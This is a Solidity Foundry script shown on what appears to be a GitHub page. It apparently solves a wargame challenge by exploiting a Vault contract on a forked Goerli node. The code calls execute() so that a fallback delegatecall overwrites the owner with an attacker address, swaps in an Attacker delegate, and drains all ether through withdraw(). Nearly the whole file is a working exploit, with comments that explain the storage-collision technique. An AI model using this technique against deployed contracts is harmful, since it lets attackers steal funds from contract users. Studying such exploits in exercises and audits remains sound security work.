-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathExploitVault.sol
63 lines (50 loc) · 2.21 KB
/
ExploitVault.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/Test.sol";
interface IVAULT {
function upgradeDelegate(address newDelegateAddress) external;
function execute(address _target, bytes memory payload) external;
}
/*
* 1. first start anvil and fork goerli:
* anvil --fork-url $RPC_GOERLI --fork-block-number 7522307
* 2. Then run the script
* forge script ExploitVault --fork-url http://localhost:8545 -vvvvv
*/
contract ExploitVault is Script, Test {
function run() public {
address vault = address(0xBBCf8b480F974Fa45ADc09F102496eDC38cb3a6C);
// EOA
// the decimal value of the attacker address has to be higher than the current owner of Vault.sol
// because of the require statement in setDuration
address attackerEOA = address(0x99999020FcFbc876EF733757ABb238209c94B306);
// give attacker ETH
vm.deal(attackerEOA, 1 ether);
// convert address of attacker to uint256
uint256 duration = uint256(uint160(attackerEOA));
/**
* We have to bypass the onlyAuth modifier of function _delegate
* We can do this by calling execute(address, payload). Payload has to be the function
* signature of setDuration(uint256) and address(attackerEOA)
* Since Vault doesnt implement function setDuration(uint256), the fallback function
* will be executed, which delegates the call to our Vesting contract
*/
IVAULT(vault).execute(address(vault), abi.encodeWithSignature("setDuration(uint256)", duration));
// attacker should be owner now, change delegate to attack contract
Attacker attackContract = new Attacker();
vm.prank(attackerEOA);
IVAULT(vault).upgradeDelegate(address(attackContract));
// delegatecall withdraw function from attacker contract
vm.prank(attackerEOA);
(bool success,) = address(vault).call(abi.encodeWithSignature("withdraw()"));
assertEq(success, true);
// make sure all ether got withdrawn
assertEq(vault.balance, 0);
}
}
contract Attacker {
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}